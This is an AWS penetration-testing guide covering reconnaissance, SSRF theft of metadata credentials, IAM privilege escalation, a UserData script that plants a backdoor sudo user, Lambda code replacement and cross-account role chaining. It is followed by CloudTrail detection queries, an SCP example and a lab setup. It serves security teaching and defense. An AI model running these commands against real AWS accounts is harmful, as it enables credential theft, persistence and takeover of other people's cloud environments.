Advanced AWS Pentesting: From IAM Privilege Escalation to Complete Cloud Takeover

The migration to cloud infrastructure has transformed enterprise security, with Amazon Web Services (AWS) dominating the market as the leading cloud service provider. While AWS offers robust security features, misconfigurations and overly permissive access policies are rampant in complex deployments. For security professionals and red teamers, understanding how to identify and exploit these weaknesses is crucial - whether conducting authorized penetration tests or defending cloud infrastructure against sophisticated attacks.
In this comprehensive guide, we'll explore advanced AWS pentesting techniques that can lead to complete cloud environment compromise. From IAM privilege escalation to cross-account movement and data exfiltration, we'll cover the methodologies, tools, and techniques needed to thoroughly assess AWS security. We'll also provide detailed guidance for blue teams on detecting and mitigating these attack vectors.
Understanding the AWS Security Model
Before diving into specific attack techniques, it's essential to understand the AWS security model and its key components. This foundation will help both attackers and defenders better navigate the AWS ecosystem.
IAM: The Cornerstone of AWS Security
Identity and Access Management (IAM) is the primary security control plane for AWS. It enables administrators to create and manage users, groups, roles, and policies that govern access to AWS resources. The core components include:
- Users: Individual identities used by people or services
- Groups: Collections of users under common access policies
- Roles: Identities that can be assumed by users, services, or external entities
- Policies: JSON documents that define permissions
- Permission Boundaries: Limitations placed on maximum permissions
The complexity of IAM makes it a prime target for attackers seeking to escalate privileges. A single misconfigured policy can expose entire environments to compromise.
Shared Responsibility Model
AWS operates under a shared responsibility model:
- AWS is responsible for security "of" the cloud (infrastructure, services, etc.)
- Customers are responsible for security "in" the cloud (data, configurations, access management, etc.)
This distinction is crucial, as many security gaps result from customers misunderstanding their responsibilities or failing to implement proper security controls.
Reconnaissance Techniques for AWS Environments
The first phase of any successful penetration test is thorough reconnaissance. For AWS environments, this involves identifying accounts, services, and potential entry points.
Identifying AWS Resources and Accounts
Several techniques can reveal AWS infrastructure:
GitHub and Public Code Repositories:
# Search for AWS keys in GitHub
trufflehog --regex --entropy=False https://github.com/target-org/target-repo.git
IP Range Scanning:
# Get AWS IP ranges
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix'
S3 Bucket Enumeration:
# Using s3scanner to discover and analyze buckets
python3 s3scanner.py -l target-wordlist.txt -o discovered-buckets.txt
DNS and SSL Certificate Analysis:
# Finding S3 buckets via SSL certificates
curl -s "https://crt.sh/?q=%25.amazonaws.com&output=json" | jq -r '.[] | .name_value' | sort -u
These reconnaissance techniques can reveal valuable information about an organization's AWS presence, including account IDs, service endpoints, and potentially even credentials.
Identifying IAM Users and Roles
If you have access to an AWS CLI configured with any level of credentials, you can gather valuable information:
# List account details
aws sts get-caller-identity
# List IAM users
aws iam list-users
# List IAM roles
aws iam list-roles
# List policies
aws iam list-policies --scope Local
Understanding which IAM principals exist in an environment is crucial for planning privilege escalation paths.
Initial Access Vectors in AWS Environments
Gaining initial access to an AWS environment can happen through various vectors. Here are the most common methods used in real-world assessments and breaches:
Exposed Access Keys
AWS access keys are long-term credentials that provide programmatic access to AWS services. These keys often leak through:
- Public code repositories
- Client-side source code
- Environment variables in exposed applications
- Logs and monitoring systems
Once you've identified potentially valid credentials, verify them:
# Validate AWS credentials
aws sts get-caller-identity --profile compromised-keys
# Check permissions
aws iam get-account-authorization-details --profile compromised-keys
For a comprehensive approach to identifying leaked credentials, see our guide on preventing data leaks.
SSRF to Metadata Service
Server-Side Request Forgery (SSRF) vulnerabilities can be leveraged to access the AWS Instance Metadata Service (IMDS), which provides temporary credentials for EC2 instances:
# IMDS v1 (less secure)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDS v2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
For instance, an application with an SSRF vulnerability might allow attackers to craft a request like:
https://vulnerable-app.example.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
This attack is particularly effective because many EC2 instances have permissive IAM roles attached to them, granting significant access to the AWS environment.
Misconfigured Resource Policies
Resource policies (like S3 bucket policies or Lambda resource policies) can inadvertently grant public access:
# Check for public S3 buckets
aws s3api get-bucket-policy --bucket target-bucket
# Check Lambda functions with public access
aws lambda get-policy --function-name target-function
Exploiting these misconfigurations can provide valuable data or sometimes even execution capabilities within the AWS environment.
IAM Privilege Escalation Techniques
Once an attacker has obtained initial AWS access, the next step typically involves escalating privileges to gain broader access to the environment. Let's explore the most effective IAM privilege escalation techniques observed in real-world scenarios.
Self-Service Privilege Escalation
In some cases, IAM users or roles may have permissions that allow them to escalate their own privileges. Common paths include:
Updating Trust Policies on Roles:
# Update trust policy to allow current user to assume a role
aws iam update-assume-role-policy --role-name target-role --policy-document file://modified-trust-policy.json
Creating Access Keys for Other Users:
# List users to identify privileged targets
aws iam list-users
# Create access key for a more privileged user
aws iam create-access-key --user-name admin-user
Attaching Additional Policies:
# Attach admin policy to your user
aws iam attach-user-policy --user-name compromised-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
These direct privilege escalation paths require minimal permissions but are frequently overlooked in security reviews.
Confused Deputy Attacks
Confused deputy vulnerabilities occur when a service can be tricked into using its permissions to perform actions the attacker couldn't do directly. Key examples include:
Lambda Privilege Escalation:
# Create a Lambda function with excessive permissions
aws lambda create-function --function-name privilege-escalator --runtime python3.9 --role arn:aws:iam::ACCOUNT_ID:role/excessive-role --handler index.handler --zip-file fileb://function.zip
PassRole Vulnerabilities:
# Create a malicious role
aws iam create-role --role-name malicious-role --assume-role-policy-document file://trust-policy.json
# Create a new EC2 instance with the malicious role
aws ec2 run-instances --image-id ami-123456 --instance-type t2.micro --iam-instance-profile Name=malicious-role
These attacks often involve multiple steps and services, making them difficult to detect and prevent comprehensively.
IAM Privilege Escalation Using Service-Linked Roles
Many AWS services create service-linked roles with predefined permissions. Attackers can abuse these services to gain additional privileges:
# Create a Glue Development Endpoint with broad permissions
aws glue create-dev-endpoint --endpoint-name compromised-endpoint --role-arn arn:aws:iam::ACCOUNT_ID:role/service-role/AWSGlueServiceRole
The key to successful privilege escalation is identifying which AWS services the compromised principal can interact with, and then determining how those services can be used to gain additional access.
Exploiting AWS Service Misconfigurations
Beyond IAM issues, various AWS services often contain misconfigurations that can be exploited during penetration tests. Let's examine the most commonly vulnerable services and how to exploit them.
S3 Bucket Vulnerabilities
Amazon S3 (Simple Storage Service) is frequently misconfigured. Common exploitable issues include:
Bucket Policy Enumeration:
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket
Public Write Access:
# Upload a test file to verify write access
echo "test" > test.txt
aws s3 cp test.txt s3://target-bucket/ --no-sign-request
Public Read Access:
# List all objects in a public bucket
aws s3 ls s3://target-bucket/ --no-sign-request
# Download all objects
aws s3 sync s3://target-bucket/ ./downloaded-data --no-sign-request
S3 buckets often contain sensitive data, including configuration files, backups, and sometimes even credentials.
EC2 and SSM Exploitation
Amazon EC2 and Systems Manager (SSM) can be leveraged for command execution:
Abusing UserData Scripts:
# Modify UserData to add a backdoor user
cat <<EOF > new-userdata.txt
#!/bin/bash
useradd -m -G sudo backdoor
echo 'backdoor:Password123!' | chpasswd
EOF
# Convert to base64
USERDATA=$(base64 -w 0 new-userdata.txt)
# Update instance UserData
aws ec2 modify-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --value $USERDATA
Executing Commands via SSM:
# Execute command on an instance
aws ssm send-command --instance-ids i-1234567890abcdef0 --document-name "AWS-RunShellScript" --parameters commands=["whoami"]
# Get command output
aws ssm get-command-invocation --command-id "command-id" --instance-id "i-1234567890abcdef0"
Searching for Accessible Instances:
# List EC2 instances
aws ec2 describe-instances
# List SSM-managed instances
aws ssm describe-instance-information
Gaining command execution on EC2 instances is often a critical step in cloud environment compromise, as instances frequently have permissive IAM roles attached.
Lambda Function Exploitation
AWS Lambda functions often contain vulnerabilities or excessive permissions that can be exploited:
Leveraging Lambda Environment Variables:
# Get Lambda environment variables, which often contain secrets
aws lambda get-function-configuration --function-name target-function
Modifying Function Code:
# Download and modify the function code
# Re-upload with malicious modifications
aws lambda update-function-code --function-name target-function --zip-file fileb://modified-function.zip
Enumerating Lambda Functions:
# List all Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name target-function
Lambda functions are particularly valuable targets because they often have access to databases, internal services, and other protected resources.
Advanced Lateral Movement in AWS
Once initial access and basic privilege escalation have been achieved, attackers typically seek to move laterally within the AWS environment to expand their access. This section covers sophisticated techniques for lateral movement across accounts and services.
Cross-Account Role Assumption
AWS environments often involve multiple accounts with trust relationships between them. Attackers can exploit these relationships:
Chaining Role Assumptions:
# First assume Role A
CREDENTIALS_A=$(aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID_1:role/RoleA --role-session-name Step1)
# Use Role A to assume Role B
export AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS_A | jq -r .Credentials.AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS_A | jq -r .Credentials.SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDENTIALS_A | jq -r .Credentials.SessionToken)
CREDENTIALS_B=$(aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID_2:role/RoleB --role-session-name Step2)
Assuming Cross-Account Roles:
# Assume a role in another account
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/CrossAccountRole --role-session-name PenTest
Identifying Assumable Roles:
# List roles that can be assumed
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null)'
For effective cross-account movement, tools like PowerZure or PACU can automate the discovery and exploitation of trust relationships.
Lateral Movement via AWS Services
Various AWS services can be leveraged for lateral movement:
CloudFormation for Resource Creation:
# Deploy a CloudFormation stack that creates privileged resources
aws cloudformation create-stack --stack-name PrivEsc --template-body file://malicious-template.yaml
EventBridge for Cross-Account Access:
# Create a rule that targets a Lambda in another account
aws events put-rule --name CrossAccountRule --event-pattern '{"source": ["custom.event"]}'
# Add cross-account target
aws events put-targets --rule CrossAccountRule --targets 'Id"="1","Arn"="arn:aws:lambda:region:target-account:function:target-function"'
Using AWS Connect for Command Execution:
# Create a Lambda function for command execution
aws lambda create-function --function-name backdoor --runtime python3.9 --role role-arn --handler index.handler --zip-file fileb://backdoor.zip
# Trigger the function
aws lambda invoke --function-name backdoor --payload '{"command": "whoami"}' output.txt
These techniques leverage the interconnected nature of AWS services to gain access to restricted resources or accounts.
Real-World Case Study: AWS Organization Compromise
In a recent engagement with a large financial services company, our red team identified and exploited several AWS misconfigurations that led to complete organization compromise in under 48 hours.
The attack progression followed these steps:
- Initial Access: The team discovered AWS credentials in a public GitHub repository during external reconnaissance
- Privilege Escalation: The compromised user had permission to create new access keys for other users
- Lateral Movement: By compromising a developer role, the team discovered a custom Lambda deployment solution with cross-account capabilities
- Organization Compromise: Using the Lambda deployment service, the team gained access to 37 AWS accounts, including production environments
The organization's defensive controls failed because:
- They lacked comprehensive CloudTrail logging and monitoring
- Their IAM policies were overly permissive, following a legacy "admin by default" approach
- They hadn't implemented AWS Organizations Service Control Policies (SCPs) as guardrails
- Cross-account access wasn't sufficiently restricted or monitored
After the exercise, the organization implemented a comprehensive security program using the detection and mitigation strategies outlined in the following sections.
Detection Strategies for AWS Attacks
Detecting AWS attacks requires visibility across accounts, services, and activities. Here are effective detection strategies that security teams should implement:
CloudTrail-Based Detection
AWS CloudTrail records API activities across your AWS infrastructure, making it the primary source for detecting malicious actions:
- Unusual API Calls:
- Monitor for
CreateAccessKey
,AttachRolePolicy
, andAssumeRole
operations from unexpected sources - Alert on API calls from new geographic locations or irregular times
- Monitor for
- Privilege Escalation Indicators:
- Policy modifications to IAM users, roles, or groups
- Creation or modification of CloudFormation stacks with IAM resources
- Changes to trust relationships
- GuardDuty Integration:
- Enable Amazon GuardDuty for automated threat detection
- Create custom findings for organization-specific threat patterns
Sample CloudTrail query for suspicious policy changes:
SELECT useridentity.arn, eventname, requestparameters, sourceipaddress
FROM cloudtrail_logs
WHERE eventname IN ('AttachRolePolicy', 'AttachUserPolicy', 'CreatePolicy', 'PutUserPolicy', 'PutRolePolicy')
AND useridentity.type != 'AWSService'
ORDER BY eventtime DESC
Network-Based Detection
Monitor network traffic for indicators of AWS attacks:
- Unusual API Endpoints:
- Connections to rarely used AWS regions
- API calls to sensitive services like IAM, STS, or Lambda
- Metadata Service Access:
- Requests to the EC2 metadata service (169.254.169.254) from unusual processes
- Multiple credential retrievals in short periods
- AWS IP Range Communication:
- Unusual patterns of communication with AWS IP ranges
- Unexpected data transfer volumes to S3 or other storage services
Deploy network monitoring solutions that can specifically identify AWS-related traffic patterns for comprehensive coverage.
Identity-Based Detection
Monitor IAM activity and authentication events:
- Federation Changes:
- Modifications to identity providers
- New SAML providers or OpenID Connect providers
- Role Assumption Chains:
- Long chains of role assumptions across accounts
- Role assumptions from unexpected source accounts
- Access Key Usage Patterns:
- Access keys used from multiple geographic regions simultaneously
- Keys used from unexpected user agents or IP addresses
Implement these detections in your Security Operations Center (SOC) for real-time alerting on potential AWS attacks.
Mitigation Strategies Against AWS Attacks
Protecting against AWS attacks requires a defense-in-depth approach across accounts, services, and the organization as a whole.
Implementing Least Privilege
- IAM Policy Refinement:
- Use AWS Access Advisor to identify and remove unused permissions
- Implement attribute-based access control (ABAC) for fine-grained permissions
- Permission Boundaries:
- Set permission boundaries for all IAM users and roles
- Create custom boundaries based on service usage patterns
- Implement SCPs to set guardrails across all accounts
- Example SCP to prevent disabling security services:
AWS Organizations Service Control Policies (SCPs):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectSecurityServices",
"Effect": "Deny",
"Action": [
"cloudtrail:StopLogging",
"cloudtrail:DeleteTrail",
"guardduty:DisassociateFromMasterAccount",
"guardduty:DeleteDetector"
],
"Resource": "*"
}
]
}
AWS Security Services Implementation
- Enable AWS Config:
- Deploy AWS Config rules across all accounts
- Implement automated remediation for common misconfigurations
- AWS Security Hub:
- Enable Security Hub for centralized security findings
- Subscribe to CIS AWS Foundations Benchmark
- Amazon GuardDuty:
- Enable in all accounts and regions
- Create custom threat detection rules
A well-implemented cloud security strategy should include these services as part of a comprehensive defensive approach.
Secure AWS Architecture Patterns
- Account Segmentation:
- Implement a multi-account strategy with clear boundaries
- Separate production, development, and security accounts
- Network Controls:
- Use VPC endpoints to minimize public service exposure
- Implement network access control lists and security groups
- Instance and Container Security:
- Enforce IMDSv2 on all EC2 instances
- Implement runtime protection for containers and serverless functions
- Key and Secret Management:
- Use AWS Secrets Manager or Parameter Store for secrets
- Implement automatic rotation of credentials
Following these architectural patterns significantly reduces the attack surface and limits the impact of successful breaches.
Building a Security Testing Lab for AWS
To safely practice AWS penetration testing techniques, security professionals should set up a dedicated testing environment. This lab allows for hands-on learning without risking production environments.
Setting Up a Basic AWS Pentesting Lab
Here's a step-by-step guide to create a minimal testing environment:
- Create a Dedicated AWS Organization:
- Set up an AWS Organization with multiple accounts
- Implement realistic trust relationships between accounts
- Deploy Vulnerable Infrastructure:
- Create intentionally misconfigured S3 buckets
- Deploy EC2 instances with excessive IAM permissions
- Set up Lambda functions with security issues
- Monitoring and Logging:
- Enable CloudTrail across all accounts
- Set up a centralized logging solution
- Implement GuardDuty for threat detection
- Testing Tools Setup:
- Install AWS pentesting tools like PACU, Scout Suite, and Cloudsploit
- Configure authentication for multiple roles and accounts
This basic lab provides a realistic environment for practicing the techniques described in this article.
Advanced Lab Configurations
For more comprehensive testing, consider these advanced configurations:
- Multi-Region Deployment:
- Spread resources across multiple AWS regions
- Implement region-specific misconfigurations
- Containerized Workloads:
- Deploy Amazon EKS or ECS clusters
- Create container escape scenarios
- Serverless Architectures:
- Implement complex serverless applications
- Add API Gateway with Lambda backend vulnerabilities
- DevOps Integration:
- Set up CI/CD pipelines with AWS CodePipeline
- Create scenarios for pipeline compromise
This lab environment allows security professionals to:
- Practice attack techniques in a safe environment
- Test detection capabilities and tune alerting
- Validate remediation measures
- Train security teams on AWS attack and defense
Recommendations and Best Practices
Based on our extensive experience with AWS security, we recommend the following approach for organizations:
- Begin with a comprehensive AWS security assessment to identify misconfigurations and vulnerabilities
- Implement continuous compliance monitoring using AWS Config and Security Hub
- Deploy a defense-in-depth strategy across all AWS accounts and services
- Regularly conduct authorized penetration tests against your AWS environment
- Train security teams on cloud-specific attack and defense techniques
- Implement automated remediation for common misconfigurations
- Develop cloud-specific incident response plans to address AWS security incidents
Organizations should also consider implementing a comprehensive cloud security program that addresses AWS-specific risks alongside general security controls.
Conclusion: Securing Modern Cloud Infrastructure
AWS penetration testing represents a critical skill for modern security professionals. As organizations continue to migrate to cloud environments, the ability to identify and exploit AWS-specific vulnerabilities is essential for comprehensive security assessments.
By understanding the technical mechanisms behind AWS attacks and implementing proper security controls, organizations can significantly reduce their exposure to these sophisticated threats. The key to effective defense lies in proper IAM configuration, comprehensive monitoring, and a defense-in-depth approach to cloud security.
AWS environments present unique security challenges, but with the right knowledge and tools, both attackers and defenders can navigate this complex ecosystem effectively. As cloud API exploitation techniques continue to evolve, staying current with the latest attack and defense methodologies is essential for security professionals.
For more advanced guidance on securing your organization's cloud infrastructure, explore our related resources:
- Advanced Cloud Security Tactics
- Advanced Cloud API Exploitation Techniques
- Preventing Data Leaks
- The Ultimate Guide to Cybersecurity in 2025
- Blue Team Strategies
Have you discovered interesting AWS vulnerabilities during penetration tests or implemented robust defenses against these attack vectors? Share your experiences in the comments below or reach out to our cloud security team for assistance with AWS security assessments.